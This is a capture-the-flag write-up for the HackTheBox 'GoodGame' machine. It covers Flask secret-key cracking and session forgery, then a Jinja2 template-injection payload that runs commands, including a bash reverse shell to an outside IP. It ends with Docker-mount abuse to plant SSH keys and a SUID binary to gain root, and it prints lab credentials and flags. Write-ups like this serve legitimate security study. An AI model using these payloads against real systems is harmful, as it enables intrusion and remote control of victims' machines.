

HackTheBox Uni CTF Quals - GoodGame

hur - SIGINT

nmap scan results:

```
1  # Nmap 7.91 scan initiated Fri Nov 19 14:53:28 2021 as: nmap -sC -sV -oN
   nmap 10.129.96.71
2  Nmap scan report for 10.129.96.71
3  Host is up (0.25s latency).
4  Not shown: 999 closed ports
5  PORT      STATE SERVICE  VERSION
6  80/tcp    open  ssl/http Werkzeug/2.0.2 Python/3.9.2
7  |_http-server-header: Werkzeug/2.0.2 Python/3.9.2
8  |_http-title: GoodGames | Community and Store
9
10 Service detection performed. Please report any incorrect results at
    https://nmap.org/submit/ .
11 # Nmap done at Fri Nov 19 14:53:45 2021 -- 1 IP address (1 host up) scanned
    in 16.46 seconds
```

We find a login functionality on `goodgames.htb`. We can also create a user on `goodgames.htb`, creating a user named `hur` doesn't do much. However, if we create a user with nickname `admin`, we can find a link to <http://internal-administration.goodgames.htb/>. After adding this to `/etc/hosts` we can visit it. It's a Flask login page. We can grab the session cookie and crack the application secret key:

```
1  [13:33] atte@x1 $ flask-unsign --unsign --cookie
   eyJfZnJlc2giOmZhbnNlLCJjc3JmX3Rva2VuIjoimZl20TE5MjVlMWNhNWU4MzYwOTMyYmZkZjA0M
   zM3YTlhODgzOGRhOSJ9.YZem2g.060M4uNYO_Z4sedzd7sgQTfZ2h4
2  [*] Session decodes to: {'_fresh': False, 'csrf_token':
   '32691925e1ca5e8360932bfdf04337a3a8838da9'}
3  [*] No wordlist selected, falling back to default wordlist..
4  [*] Starting brute-forcer with 8 threads..
5  [+] Found secret key after 27264 attemptsYsJCW4reis r
6  'S3cr3t_K#Key'
```

Then, after struggling to forge a session cookie for a while, I spun up my own instance of [flask-volt-dashboard](#) that the site uses to determine their session cookie format. Then, we can forge a session cookie:

```
1  flask-unsign --sign --cookie '{"_fresh': True, '_user_id': '1',
   'csrf_token': '5c668fc114e6105ccaf945b00dd61608aaf91efb'}" --secret
   'S3cr3t_K#Key'
2  eyJfZnJlc2giOmRydWUsIl91c2VyX2lkIjoimSIsImNzcmZfdG9rZW4iOiIiYzY2OGZjMTE0ZTYxM
   DVjY2FmOTQ1YjAwZGQ2MTYwOGFhZjZkxZWZiIn0.YZf0AA.ID5ntQ_PPz3J6_1gVtNRYSzRMxY
```

With the forged session cookie, we get access to the admin user's interface. In the logged in user's profile page, the field "Full Name" is vulnerable to SSTI.

General information

Full Name

{{(7*7)}}

Birthday

dd/mm/yyyy


Email

admin@goodgames.htb

Phone

+12-345 678 910

Save all



49

admin

admin@goodgames.htb

Connect

Send Message

We can grab the flag with the following payload

```
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('subprocess')|attr('Popen')('cat /home/augustus/user.txt', shell=True, stdout=-1)|attr('communicate')()}}
```

To obtain the flag `HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}`. Furthermore, we can obtain a reverse shell with the following payload and a netcat listener:

```
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('subprocess')|attr('Popen')('bash -c "bash -i >&/dev/tcp/10.10.14.7/4444 0>&1"', shell=True, stdout=-1)|attr('communicate')()}}
```

We get shell access to a Docker container. After some enumeration, like finding the admin users's password in the sqlite3 database used by the flask app, I ran

I ran [CDK](#) to enumerate the docker container, and something interesting popped up:

```
1 Device:/dev/sda1 Path:/home/augustus Filesystem:ext4
  Flags:rw,relatime,errors=remount-ro``
```

We have read and write access to the user augustus's home directory on the host filesystem.

With [deepce](#), we notice that the host's IP is 172.19.0.1. We can actually SSH the host from within the docker container. Since we have write access to `/home/augustus` on the host box, we can add an SSH public key to `/home/augustus/.ssh/authorized_keys` to be able to SSH into the host as `augustus`.

```
1 ssh-keygen -t rsa -f augustus_rsa
2 chmod 600 augustus_rsa
3 chmod 600 augustus_rsa.pub
```

On the docker container, we do

```
1 mkdir /home/augustus/.ssh
2 chmod 700 /home/augustus/.ssh
3 echo -n "(contents of augustus_rsa.pub)" >
  /home/augustus/.ssh/authorized_keys
4 chmod 600 /home/augustus/.ssh/authorized_keys
```

Since we are doing this as `root` and there is no user `augustus` on the docker container, we have to also employ a little trickery to get the permissions right on the host machine.

```
1 useradd augustus
2 chown -R augustus:augustus /home/augustus/.ssh
```

Now we can SSH into the box as `augustus` using the SSH private key we created. We run some enumeration and finding random things like the password below,

```
/var/www/goodgames/main/__init__.py: app.config['MYSQL_PASSWORD'] =
'C4n7_Cr4cK_7H1S_pasSw0Rd!' which led to the following line
```

```
| 1 | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec | admin |
```

that gives the password `superadministrator`.

In order to obtain root, we abuse the fact that we have access to `/home/augustus` as `root` via the Docker container.

We create the file `test.sh` in `/home/augustus` with the contents

```
1 cat /root/flag.txt
```

Now, we want to abuse SUID privileges by creating the following program:

```
1 int main(void) {
2     setuid(0);
3     clearenv();
4     system("/home/augustus/test.sh");
5 }
```

We compile this, and as `root` in the Docker container we do `chmod u+s` on the binary to make it SUID. Then we can run it inside the host to obtain the flag.

```
HTB{M0un73d_F1l3_Sy57eM5_4r3_DaNg3R0uS}
```